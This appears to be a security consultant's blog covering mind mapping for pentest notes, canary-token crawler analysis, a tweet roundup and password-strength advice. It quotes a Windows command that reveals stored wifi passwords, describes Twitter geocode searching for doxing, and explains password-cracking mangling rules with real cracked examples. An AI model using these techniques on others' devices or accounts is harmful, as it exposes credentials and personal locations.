My tool of choice is XMind, but there are numerous other popular mind mapping tools available. I went with XMind because of its primarily-offline design (though they do have a web app option); the fact that they offer a free trial version (though they try their best to hide that fact); and that the application is designed to be primarily used via keyboard, which minimizes the amount of mouse clicking that needs to be done to draw your mind map.

What is a Mind Map?

In short, mind maps are visual representations of the hierarchical relationship of various items. The items could be abstract ideas or tangible objects, or a mix of the two. The mind map is a way to lay out your understanding of these relationships in a visual format that serves a number of purposes:

• Taking notes on a new subject or a brainstorming session
• Studying a complex topic with multiple levels of nested relationships
• High-level documentation (think of a subject outline)
• Identifying gaps in knowledge - and then filling them
• Maybe even resume creation/improvement

XMind in particular comes with a bunch of different layout options that make it useful for free form mind mapping/brainstorming, or for more traditional, established diagrams like organization charts, data flows, and logic charts.

Baby’s first mind map

I’m describing the uses of mind maps, but in case you haven’t seen one, here’s a basic example:

This is a simple layout comprised of a main anchor subject, three main topics, and nested sub topics beneath each.

A good mind map program will also support various styles so the importance or status of an element can be indicated at a glance:

In this example, bright yellow might be important, darker yellow less important, and strikethrough something to disregard entirely. Red and green could be arbitrary statuses like good and bad, or vulnerable and secure.

From an ease-of-use standpoint, all of this (except some of the colors) was generated using only the keyboard. Keys like Tab, Enter, and Space are used to create the various nested objects, and the application handles arranging them in a way that looks presentable. This frees the user up to focus on the content, rather than the presentation.

There are a few other features that require some mouse clicking, like adding additional non-hierarchical “relationship” links:

Depending on if you use the free or paid version, some settings can be configured to remember or shortcut your preferred styles, or they might be fully manual.

Within XMind, you can switch to the “Outliner” view after creating a mind map. This might be familiar from school, or using Microsoft Word:

It’s just a nested list of items. While I’m sure there is some limit, you can go pretty absurdly deep, so running out of room for nested items is unlikely.

XMind has a gallery of shared example mind maps on their website.

Now that I’ve illustrated what a mind map looks like, here are some examples of how I find them useful.

Uses

Taking notes

Whenever I’m taking notes on a new subject, I have gotten into the habit of creating a mind map. A great example of this is when discussing the scope of a security assessment (whether it be a network penetration test, code review, web application test, etc.). One of the early stages of any such engagement is to discuss with the subject matter experts how their system(s) work and how the data flows within it. As the subject matter experts are describing or demonstrating the environment to me, I’ll be capturing my understanding in a mind map.

This serves a couple immediate purposes:

1. It captures the information for my notes. I can either drop the outline structure into a tool like OneNote or Evernote if I need to elaborate on it or add multimedia, and/or I can just keep it as is in mind map form.
2. It serves a similar purpose to writing things down. I’m rather slow at traditional pen-and-paper writing, but my typing speed is solid. There is some evidence that writing something down, or typing it out (rather than copy pasting) helps to solidify memory (the generation effect). Anecdotally, I can attest that the simple act of typing up what I’m hearing seems to help increase the likelihood that I will be able to recall that information later. The visual presentation and interactive creation of the mind map format also seems to help reinforce memory.

Studying

While there is some overlap with #1 above, my “study mode” tends to be quite a bit slower and more deliberate than taking notes in a brief meeting or scoping discussion. This might be a new technical subject that I’ve never learned before, or an old subject I’m brushing up on. It might be something for work, or for a really complicated form of entertainment.

I sometimes find that, as I’m taking down what I consider the key elements of a new idea, I later have to rearrange the nodes. This might be due to the way the information is initially presented, or due to some quirk of my own mind in how it “wants to” map the information. Fortunately, a good mind map program makes it easy to click and drag or cut and paste items from one location on the map to another:

I also capture notes on introductions to topics, such as when I was watching the Fundamentals of DevSecOps lectures on Pluralsight:

Documentation

Whether I’m playing with a capture the flag or performing a penetration test, keeping track of what I’ve done - and not forgetting to revisit things that I’m setting aside for later - is crucial. Mind maps are a great way to keep track of a testing environment at a high level, and to prioritize - or mark as complete - certain aspects of your assessment.

As an example, I’ll share the current state of my mind map working through an older Hackthebox machine, Canape (Note: If you haven’t tried Canape yourself, this will contain some spoilers. I’m only part of the way through the box at time of writing though, so there is more yet to discover):

This map grew as my understanding of the target machine did, starting with the discovery of open ports on the box, mapping out the initial web directories that were present on the main page, finding a /.git directory, and then describing the functionality disclosed by the source code in the /.git directory.

Once I (finally) managed to get OS command execution, I marked that sucker red and saved my exact syntax for further reference as I wrote up a python script to automate the attack.

You might notice on the left side of the map there are two key sections: “Things to check”, and “Checked.” As I map out the application and discover more and more of its contents - or, in this case, as I enumerate services, settings, and various internal aspects of the machine via command injection - I jot them down and mark them as priority (yellow) to review later. This way I can continue on my current train of thought without derailing it, but I can also quickly capture things that are worth further investigation later. Once my current mental thread is completed, I go through that “Things to check” list and exhaust possibilities, striking them through and moving them under the “Checked” node. This helps me keep track without losing the documentation I’ve already established. I can use the strikethrough information later if I need to reference things that I checked but which didn’t pan out during the test. If a client asks me to enumerate the various things that I tried that weren’t fruitful, I already have it in outline form.

Oh, and with XMind, there is functionality built in for flow charts, org charts, timelines, and “fishbone charts:”

There is even enough flexibility in the application to create rough data flow diagrams. This isn’t going to compete with Visio any time soon, but it works for a quick-and-dirty model:

Identifying knowledge gaps

Once the initial information is mapped out, I find that mind maps are great for highlighting areas where additional knowledge is needed. This can be done through color coding, arrangement, with a dedicated “to do” section, or a combination of these. In particular, I’ve found that once I have really poured my understanding into a mind map, if there are sections that are vastly outsized compared to others, it either indicates:

1. That the smaller subsection is very simple and doesn’t need more detail, or;
2. That my understanding is lacking in that subsection.

Here’s a use case example. When looking at job descriptions for a potential new opportunity, I like to go through the description, create a mind map from the description’s key elements, and then color-code each item based on my own self-evaluated confidence in that space:

That image is deliberately zoomed out so as not to disclose which jobs I may or may not have been recently applying to.

As you can see, there is a lot of dark green on there, so that’s a good start. The lighter green might need some work, but it’s the yellow and red where I have significant gaps, and should focus my attentions to improve:

I did some fleshing out, a little study, and added more to the map. Not bad. Some notes to self, some additional areas that I need to study… but then one of those items turned into a rabbit hole all by itself:

Does jotting all that down in a mind map make me an expert in the subject? Not by a long shot. But it gives me a mental framework that I can start associating my experiences with, and it gives me reference material I can call on in the future if and when I start focusing on such tasks or communicating in that space. I am much more likely to be able to speak with some cursory intelligence in an interview on a subject I’ve studied and mind mapped, than one I only read in a job description. It also revealed to me just how broad that one sub-item was, when I only had a very informal understanding of it to begin with.

Resume building?

This last use is a new idea and I haven’t really put it to the test yet. It could end up as a case of “square peg, round hole,” stemming from my current infatuation with mind maps. I wonder, though, if there might be a use in mind mapping when building/updating/improving a resume/CV. The nascent idea goes like this:

Mind map first approach

If you’re making a resume from scratch (either because you’re new to building one, or just think it’s time to revamp and start fresh), jot down the key ideas you want to make sure are represented. What are the first things you want a potential employer to think of when they look at your resume for 7.4 seconds? Those are your main topics. Now, what are the key details you need to represent for each of those main topics? Those are your subtopics. Map it all out, then start putting the content into your resume template of choice in a word processor.

Mind map second approach

What if you already have a pretty solid resume, and it just needs some improvement? This can be trickier, but try to put yourself in the mind of a recruiter. Open up your resume, and capture the first thing that stands out to you in a mind map. What’s the second thing? Into the map it goes. Third thing? Map it. Now, were those three eye-catching elements what you want a recruiter or employer to see first? If not, you might at least have a layout problem, and you might need to rework your resume content. This evaluation can probably go a level or two deeper. If you find that your resume doesn’t even paint the picture that you intend to yourself, chances are it needs some work. I would venture that this exercise is even more valuable with a partner doing the review for you - a friend or colleague who will humor you by viewing your resume like you were a potential candidate, and mind mapping for you what stood out to them. That mind map can be your input for areas where you might need to rearrange or rephrase the content of your resume.

With either approach, I think there is potential here for a worthwhile exercise in tightening up a resume or building a whole new one.

Another useful tool

All said, I’m loving the use of mind maps, and XMind in particular. I’ve known about this concept for years but never got around to really giving it a try until recently, which I have to thank my friend for inspiring. I hope others find this write up useful, and that it might inspire some of you to take advantage of a new tool. If you have some novel uses of mind maps, send them my way!

No, I’m not dead, but it turns out that changing jobs and studying for another GIAC certification and “real life” all conspire to bump blogging into the background, for me. During the recent downtime, I’ve continued slowly gathering data from the hidden href canary token that loads in this blog’s page source (described here).

I recently passed the 100 pageloads milestone so I figured it was time for everybody’s favorite pass time: data analysis.

That’s not just me, right?

Overview

Each time the hidden href gets loaded, I receive a canary token notification like this one:

One of your canarydrops was triggered.
Channel: HTTP
Time   : 2019-03-16 00:23:52
Memo   : vext.info hidden href
Source IP: [REDACTED]
User-agent: Barkrowler/0.9 (+http://www.exensa.com/crawl)
...

I have played with a few canary tokens but since my prior post (March of 2019), I have only had one that is out in the wild in active content: the previously mentioned hidden href token. I assumed that all the hits that have come in since March were for that remaining token… but as we will see in the analysis, that assumption was incorrect.

I never got around to setting up a proper webhook receiver for the tokens, so I’ve just been slowly collecting them via emails that land in a mail folder I set up. That necessitated a few steps to get the data in a parsable format:

1. Download emails as .eml files
2. Write a Python 3 script to parse each .eml file and pull out the interesting data
3. Analyze the data with Excel

Step one should be self explanatory (if not, let me google that for you).

The Code

As Eric Conrad is fond of saying: if I typed it twice I should have scripted it once, so step two resulted in the below quick and dirty script:

#!/bin/python3

import os
import re

# Create a list to store results of parsing emails
scanlist = []

# Loop through all .eml files in directory and store the interesting lines into scanlist
for file in os.listdir("/path/to/your/emails/"):
    if file.endswith(".eml"):
        f = open(file)
        scanlist.append(re.findall(r"Time   : .*|Memo   : .*|Source IP: .*|User-agent: .*", f.read()))

# Create an output file
o = open("/path/to/your/output.csv", "w")

# Write headers to output file (CSV)
o.write("Time" + "," + "Memo" + "," + "Source IP" + "," + "User-Agent" + "\n")

# Loop through scanlist and drop values into CSV format
for list in scanlist:
    for element in list:
        if re.findall("Time   : .*", element):
            o.write(re.findall("Time   : (.*)", element)[0] + ",")
        elif re.findall("Memo   : .*", element):
            o.write(re.findall("Memo   : (.*)", element)[0] + ",")
        elif re.findall("Source IP: .*", element):
            o.write(re.findall("Source IP: (.*)", element)[0] + ",")
        else:
            o.write(re.findall("User-agent: (.*)", element)[0] + "\n")

Not efficient, but it got the job mostly done. I had to manually clean up some user-agent strings that contained commas (if you insert commas in your user-agent strings, you are an evil monster). Since there were only a few I didn’t bother updating the script to handle these edge cases.

Analysis

As soon as I threw together a pivot table for the output and started looking from different perspectives, I learned something surprising:

There are more instances of the retired “vext.info” token than the active “vext.info hidden ref” token. This fact surprised me, since I removed the reference to the “vext.info” token from the page source back in March when I made the last post on this subject. I can’t know exactly why the token is still being crawled, but a few possible reasons come to mind:

1. Web crawlers re-visit links that they visited in the past, regardless of whether the links exist in any current content
2. Web crawlers cache versions of content (a la archive.org) and periodically visit links present in older cached content
3. Web crawlers scour prior versions/commit histories of Github content and visit links found there.

These are not mutually exclusive, and there might be other reasons.

With this discovery, I’ll be splitting my analysis up into the analysis of the hidden href token visits (the smaller data set) and the retired vext.info token visits.

Hidden href Token

In total, there were 39 visits to the hidden href token over the course of about five months. Among these visits, there were 14 unique user-agent strings:

• Barkrowler/0.9 (+http://www.exensa.com/crawl)
• facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
• Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0;)
• Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
• Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
• Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)
• Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
• Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w
• Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
• Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)
• Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.8.2000 Chrome/30.0.1599.101 Safari/537.36
• Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0

Nine of these strings are “friendly” in that they identify the origin, while the other five do not. Among friendlies, we see various search engines and data analytics sources:

• Exensa - Self-described as “…a very small French company specialized in large scale text data analysis..” that is creating a new search engine
• Facebook - We all know and (should) hate this big boy. Some additional thoughts on this below
• Bing - Aww, how cute. It thinks it’s a search engine!
• DotBot - An SEO company
• Mail.ru - This is fine
• MJ12bot - A business-focused data analytics service
• Qwantify - Another wannabe search engine. I didn’t realize how many of these there were these days
• SemrushBot - Another analytics company. This one has the dubious honor of being the first one that my ad blockers block at the domain level
• Googlebot - Because duh.

I manually reviewed the pages provided by each user-agent string above. Some provide information on the purpose of the crawler, while others just load the main page of the company in question. Of the descriptions I read, the most interesting to me was the blurb provided by Facebook: “Facebook allows its users to send links to interesting web content to other Facebook users. Part of how this works on the Facebook system involves the temporary display of certain images or details related to the web content, such as the title of the webpage or the embed tag of a video. Our system retrieves this information only after a user provides us with a link. You may have found this page because a Facebook user sent a link from your website to other Facebook users. If you have any questions or concerns about any links or content sent by one of our users, please contact us at legal@facebook.com.”

This is a great example of how Facebook does a lot more than they explicitly say they do. Using loose language like “such as…” in their description, they give a technically-correct description of some of the functions they perform while ignoring the fact that they do a lot more behind the scenes. It’s likely true that the reason Facebook crawled the page was that a user linked to a post that I made, I can totally buy that. However, the canary token that was triggered by Facebook was an href element with the “hidden” property set. So while Facebook might crawl “… the title of the webpage or the embed tag of a video…” they also obviously crawl other elements such as hidden href tags. There isn’t anything particularly sinister in this example, but it’s another drop in the bucket of how Facebook likes to conduct business, and it should be informative for those who read the terms of use on Facebook to get an idea of what they mean when they describe their privacy and data gathering approaches.

Back to the data, the following user-agents showed up multiple times:

• Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0;): 5
• Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm): 6
• Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com): 2
• Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots): 6
• Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/): 3
• Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html): 5
• Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html): 5

The following user-agents were outliers that appeared only once each:

• Barkrowler/0.9 (+http://www.exensa.com/crawl)
• facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
• Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w
• Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)
• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
• Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.8.2000 Chrome/30.0.1599.101 Safari/537.36
• Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0

I performed manual lookups of the IP addresses associated with each of the five non-friendly user-agent strings, and they ended up being:

• Two instances of Iliad Entreprises, self-described as a French hosting and services provider
• An Amazon EC2 instance
• Nexeon Technologies, self-described as a US-based hosting and SaaS provider
• LeaseWeb Netherlands, a Netherlands-based hosting provider

There isn’t any real way to identify who was running the crawlers hosted out of these services.

Retired vext.info Token

In total, there were 63 visits to the retired canary token over the same five months. Among these visits, there were 8 unique user-agent strings:

• Googlebot-Image/1.0
• Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
• Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
• Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
• Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
• Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
• Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
• Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

All of these strings are “friendly” in that they identify the origin. We again see various search engines and data analytics sources, with some overlap from the hidden href token, but a couple unique visitors:

• AhrefsBot - Another web crawler for a data analytics company trying to make a buck
• Yandex - This is fine.

The following user-agents showed up multiple times:

• Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/): 6
• Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm): 10
• Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/): 2
• Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots): 37
• Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html): 5

The following user-agents were outliers that appeared only once each:

• Googlebot-Image/1.0
• Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
• Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)

Again, I want to emphasize that all of these crawlers and their numerous visits were to a link that no longer appears on any active web content on the site itself. Not necessarily sinister in any way, but I think that most folks won’t intuitively consider this kind of archived/deep crawling activity, so I think it’s a valuable lesson to learn. This is an example of the idea that nothing is ever really deleted from the internet.

Timeline Analysis across Both Tokens

One final analysis I performed was on the merged data set of both tokens to see how often various crawlers are pulling content. I found the following general patterns:

• AhrefsBot has been pulling content roughly once per month
• Bing pulled content 16 times, with 13 of them falling in the month of April
• Mail.ru pulled content 6 times, all of them in April
• Yandex had the most pulls (37), with 8 in March, 22 in April, and 7 in May
• Google pulled content 9 times in May (out of a total 10 times)

Lessons learned:

1. Some crawlers continue to visit URLs that are no longer present in active content
2. Putting commas in user-agent strings is evil
3. In addition to their other value, canary tokens are good for gathering a list of user-agent strings to use for scripts/bots.

These posts will be a hopefully regular probably sporadic review of interesting and informative tweets that have landed under my scope but which, as is often the case, I didn’t have time to delve into at the time. I will take a look at a hand full of tweets and related links and provide my own comments or observations.

Note: Some of these are quite old and even out of date. I’ve been building up my pile of saved tweets for a while now, and these posts start with the oldest based on when I saw them.

Tweet 1/5 - Pentest Note Taking

@m3g9tr0n writes:

“Pentesters: What do you use for taking notes, PoCs during your assessments? #pentesting #reporting”

This tweet alone is worth a blog post. There were a ton of replies with what folks use for their note taking such as:

• OneNote (x4) - The Microsoft classic. This tool has grown and changed over time. The biggest con is the price tag, if you don’t already have Office. If you do, it’s already included, and you could do worse than this. I’ve heard it said that all OneNote books are encrypted at rest on MS servers, but I haven’t researched this, and my guess is they aren’t zero-knowledge encrypted. Good for general notes and keeping non-sensitive materials, but if you’re conducting a pentest there is some risk/exposure to storing the details in this platform.
• OmniFocus - A Mac-specific solution that I haven’t used, this tool is task-focused and designed around workflows that follow a task or series of tasks.
• CherryTree (x3) - Another tool I hadn’t heard of. This one sounds interesting. It looks like an offline, free note-taking application that is very similar in design to Evernote. As of this writing it still seems to be actively developed.
• Keepnote (x5) - Another popular tool that appears very similar in its design to Evernote. One of the immediately notable differences is that Keepnote does not limit note organization to two levels (notebooks + notes); rather, multiple folders can be nested sequentially.
• Typora.io - Still in beta, as of this writing, Typora is a lightweight markdown editor that seems to be designed around a streamlined interface with minimal clutter. It looks quite nice, though I don’t see many features that make it optimal for pentesting purposes, in my opinion.
• Evernote (x2) - I’ve been a user of Evernote for years, and it’s a solid product, though it has plenty of quirks of its own. One of my favorite aspects about how Evernote runs their business is that they aren’t a data-mining company. Their revenue comes from subscribers paying for their product. They do have some encryption options for sensitive notes, but they are limited, and unfortunately don’t apply to images, so Evernote shares the same concerns re: sensitive data as OneNote. I use Evernote for web clippings and saving my notes/PoCs, but I don’t use it for client-specific data or sensitive details about a pentest. It also still doesn’t have Markdown support, as of this writing, which has made me consider abandoning the platform more than once.
• Pencil & paper (x3) - The old classic, and often overlooked. Particularly for sensitive materials that need to be documented, a properly-secured notepad is hard to beat. You can’t remotely hack what isn’t online.
• Plain text editors (TextWrangler, Vim, Nano) - Also often overlooked. Sometimes you just need a quick and dirty digital notepad. Typing in markdown is a good habit for later export to other platforms that support it.
• Zim - I hadn’t heard of this before. It’s a neat concept: an offline wiki in a local, easy to use editor. I haven’t used it personally, but glancing through the screenshots I can see how this could fit into a pentest workflow.
• Sublime - I like Sublime. I’ve used it before, and it has some really great features, particularly for programming uses. It is the closest to vi/vim features in a GUI-based editor that I’ve ever seen. Unfortunately, it has a simply absurd price tag ($80, at the time of writing), which puts it way out of sync with alternatives. The price tag might make sense for developers, but not for note takers. Another one that isn’t really ideal for pentest documentation, since it lacks some key features.
• XMind - I’ve heard great things about XMind for years. Mind mapping is a great way to study, and I see how it could be really useful, particularly during a pentest, to keep track of things to try, ideas to pursue. The price tag has kept me away from it in the past, but I think I’m going to give it a try soon, particularly as they now have two different offerings. The newer XMind Zen supports Markdown editing, which is great. I have to look into the details of privacy/sensitivity for materials in this platform (e.g., auto sync of contents) before I take the plunge, but it’s on my list of products to try.

There were a few other tools mentioned, some of which I couldn’t find by the names used in the tweets, and some of which I think were a bit out of scope for the original question asked. This tweet was from 2017, but another up-and-comer these days that is highly recommended by a colleague of mine is Notion. This one has a long way to go in the features department, but they are off to a great start. I’ll be keeping my eye on this one.

Tweet 2/5 - Terms of Service

@waxzce writes:

““I have read and agree to the Terms” is the biggest lie on the web. We aim to fix that. https://tosdr.org/ // very good idea, Thank you”

This is an amazing project that seeks to inform users, and make the world just a little bit better of a place. In their own words:

“We are a user rights initiative to rate and label website terms & privacy policies, from very good Class A to very bad Class E.

Terms of service are often too long to read, but it’s important to understand what’s in them. Your rights online depend on them. We hope that our ratings can help you get informed about your rights. Do not hesitate to click on a service below, to have more details!”

They offer a plugin for web browsers. I’m a bit wary of that part, but the overall project is a great idea, and I’ve referred to it multiple times. Probably one of the biggest challenges is simply the scale of the problem at hand, and trying to keep track and maintain up to date information about numerous companies/services.

Tweet 3/5 - Twitter Geocode Searching

@xKaliSec writes:

“How to get tweets from a specific location [Doxing] https://www.youtube.com/watch?v=Kr-7xHF4e4Q …”

I had seen prior art on identifying images from platforms like instagram and facebook based on their geo location. Many of those techniques have gone away since there are often privacy concerns related to the functionality. It kind of blew my mind that this feature is still built right into Twitter as a platform, and publicly searchable. All a user need do is enter the search “geocode:” followed by latitude and longitude coordinates, and another comma-separated parameter with the diameter size of the circle around those coordinates to include tweets from. Here’s an example of tweets made within .1km of the White House:

There is a pretty obvious high-popularity tweeter that seems to be absent from the data, but there is still a huge amount of room for abuse of this feature. My gut instinct is there is more abuse potential than legitimate use/research, but I’d be curious to read the thoughts of others, on the matter.

Tweet 4/5 - Under the Wire PowerShell

@Lee_Holmes writes:

“Wow! A PowerShell-based wargame to teach you PowerShell, Windows management, and a bit of incident response? Yes! http://www.underthewire.tech “

I’ve spent about five minutes on this “wargames” site and I’m already in love. This is the kind of fun education that “educational games” back in the day failed to achieve (I’m look at you, Math Blaster).

This reminds me a lot of the JavaScript game Untrusted that I have posted about before. I may have a new series of walkthroughs to work on, soon…

Tweet 5/5 - Retrieving Wifi Passwords

@DynamicWebPaige writes:

“Did you know that “netsh wlan show profile” shows every network your computer has ever connected to? And “key=clear” shows the passwords?”

Just a quick, easy command to look at where a given machine has been, from a wifi perspective. Potentially useful in a security assessment of a given device, or just in recovering your own wifi password.

What’s all this fuss about passwords?

I work as a security consultant, so one of my primary job functions is to provide recommendations to my clients. I typically identify some form of risk in their environment (of either a technical or operational nature), and then provide recommendations as to how to mitigate that risk, either partially or completely. Such recommendations can range from the very brief (“Install on identified systems to resolve ") to verbosity and detail requiring pages of step-by-step details and/or hours of conversation.

Most of my recommendations are taken without much in the way of resistance, but one subject has always had a much higher proportion of questioning, disagreement, and downright arguing than any other: password strength recommendations. It used to be such an issue that I wrote up a two-page standard recommendation as the starting point of the ins and outs of password creation for my clients. That material is, of course, work proprietary, but there is so much to discuss on the subject I felt I should have something on here, too.

It’s no wonder that there are differences of opinion when it comes to passwords. There is no end to the advice online. Some of it good. Some of it really, really bad. Most of it in between, with some good elements and some bad. Some of it is compliance driven. Some of it is based on “best practices,” though nobody can even seem to agree on what that means. NIST, of course, has their updated guidance on everything from designing systems for password storage, to how users should be restricted from using weak passwords, to how often passwords should be reset. All of these sources have their strengths and weaknesses, but the root issue for users is the myriad conflicting, confusing, complex sources of information. This leaves users with questions and no clear answers.

1. What source should a user trust for guidance?
2. Which is more important? Length or complexity?
3. What do weak passwords look like?
4. What do strong passwords look like?
5. How can I make better passwords?
6. Do I really have to read 250 pages of guidance to know how to choose strong passwords?

These are complex questions, and there isn’t a single right answer to any of them, except perhaps that last one (the answer is no, you definitely don’t, and that’s not really what 800-63 is for.)

Instead of trying to prove answers to the first two questions above - which could justify a post each and still not be “solved” - I’m going dig into questions 3 through 5, provide examples, and describe my thought process as both a user and a white hat attacker. I will also go step-by-step through the Diceware model for generating passwords, give some opinions on the strengths and weaknesses of that approach, and provide an alternative method that I think has merit as a middle ground between strength and effort.

Important concepts

Before we get into the passwords themselves, there is some important background information that users might find helpful. It’s common advice that we shouldn’t use passwords that are “based on a dictionary word.” What gets lost in this advice is precisely what “dictionary” means.

For most of us, a dictionary word is self-explanatory. If you speak English, you might quite reasonably assume that a dictionary word is one of the roughly 300,000 words in the second edition of the Oxford English dictionary, but that isn’t the kind of dictionary an attacker will use to crack passwords. An attacker’s dictionary is far larger than the normal dictionary of a single language, and might consist of hundreds of millions of entries.

What do these entries look like? Well, to start, an attacker dictionary will include much - perhaps all - of the contents of traditional language dictionaries. It will probably include the entirety of one of the main authoritative dictionaries in the primary language that target passwords fall into (this is commonly English, but it’s a big world, out there). Next the dictionary may include the top most common words from other major world language dictionaries, since lots of English speakers think they are being clever when they use other languages for their passwords. So Achtung123 is just as likely to get cracked as Welcome123, and not simply because of brute force (though that, too). Conceptually we can replace “English” with any other base language and rotate, accordingly.

Next come phrases. While we traditionally think of dictionaries as only including single words, an attacker’s password cracking dictionary seeks to include common examples of various strings of words that might be used to make a password. Famous quotes, company slogans, lines from books, and lyrics from songs are all fair game for what ends up in a password cracking dictionary, so Snapintoaslimjim123 is also just as likely to get cracked as Welcome123. This time the brute force resistance is different between the two, but the dictionary-based vulnerability is just the same, if “snapintoaslimjim” is in the attacker’s dictionary (and it definitely is).

Also important to understand is that password cracking software doesn’t just take the dictionary as it is. It also applies rules to each entry. These rules are created based on common password usage trends, but more on that later.

So really, the principle for making better passwords is not to avoid those based on a traditional dictionary word, but rather to avoid those based on an attacker dictionary “word.” This is a higher bar to clear.

So what do we do now?

Use multifactor authentication and a password manager

I feel obliged to start with the best advice first. It really behooves all users to get into these habits. Most major sites support multifactor authentication of some form or other (receiving a text, or using an app that generates time-based codes, or in some cases receiving an Email containing a temporary code). It’s an annoyance, yes,. but it is worth it the vast majority of the time. Multifactor authentication can be enough to make an opportunistic attacker move on to easier prey, and that can keep you safe, online.

Similarly, while it takes some getting used to, relying on a password manager is far better than coming up with your own passwords. Humans are notoriously bad at estimating what is really random. (The images don’t load in that article, but can be found on archive.org). A password generator’s pseudo-randomness is far superior to that of humans, and once you get used to the workflow of storing your passwords inside one, it’s much easier than trying to remember dozens of passwords.

What do weak passwords look like?

All right. With the background out of the way, next I am going to provide some examples of weak passwords, and why they are weak. Most of these will be obvious, but a few may surprise you.

• Admin
• Password
• Spring2019!
• !March2019?
• Welcome1234!
  …

These are pretty obvious to everyone. They are based on a single (traditional) dictionary word, they are commonly used, and some of them are even defaults on software and hardware devices. You might also note that while there are special characters in some of them, they are either at the beginning or the end of the password. This is bad because it’s common for other people to do it. The baddies know this, and have crafted their tools to compensate. Remember the rules I mentioned before? Some of the most common rules could be read as “append a special character,” or “prepend a special character.” Such a rule would take the input of “Welcome” and try:

• Welcome!
• Welcome@
• Welcome#
• Welcome%
  … etc.

Other rules might be “append the numerals 19 and then two more numerals from 00 to 99.” This would result in:

• Welcome1900
• Welcome1901
  …
• Welcome1999

Another might be simply “append the numerals 1234,” giving us:

• Welcome1234

And rules can be combined, so we might also end up with:

• Welcome1901!
• Welcome1902!
  …
• Welcome1234!
  …
• Welcome1901@
• Welcome1902@
  …
• Welcome1234@
  … etc.

There are tons of rule sets for “mangling” passwords in this way. Capitalize the first letter. Capitalize all the letters. Capitalize none of the letters. Append. Prepend. The list goes on.
How about another example of a bad password…

• W3lc0m31234!

But wait. Haven’t we been taught for years that replacing letters with numbers is a good way to make a password stronger? Yes, we have. Rewinding 10 years, that was probably still reasonably sound advice. The problem is, as I said, that the baddies know this technique, and there are rules for these common transformations. If you replace o with 0, or e with 3, or a with 4, or t with 7, you are wasting time and effort. Those old rules make it harder for you to type the password, but they don’t make it significantly harder for a computer to crack it.
Back to the bad examples:

• WhyMe?1984!
• [redacted]Sucks!
• AmazonPass123
• Michaelis13!

Some of these might look surprising, or made up, but, with the slight modification of redacting the name of the company that a person worked for, they are all real passwords that I have cracked in real engagements. They are, respectively:

• A secret cry for help
• A complaint about an apparently terrible employer
• Somebody’s Amazon password
• A factual detail about a person’s child.

They all follow the same basic premise of being based on a single (or a combination of a couple) traditional dictionary words, plus some numbers and symbols. The last one is doubly bad because it also is made up of common details that a ton of people might know about that user.

The last examples are some of my favorites:

• Subwayeatfresh!
• Ph’nglui mglw’nafh Cthulhu R’lyeh wgah’nagl fhtagn1

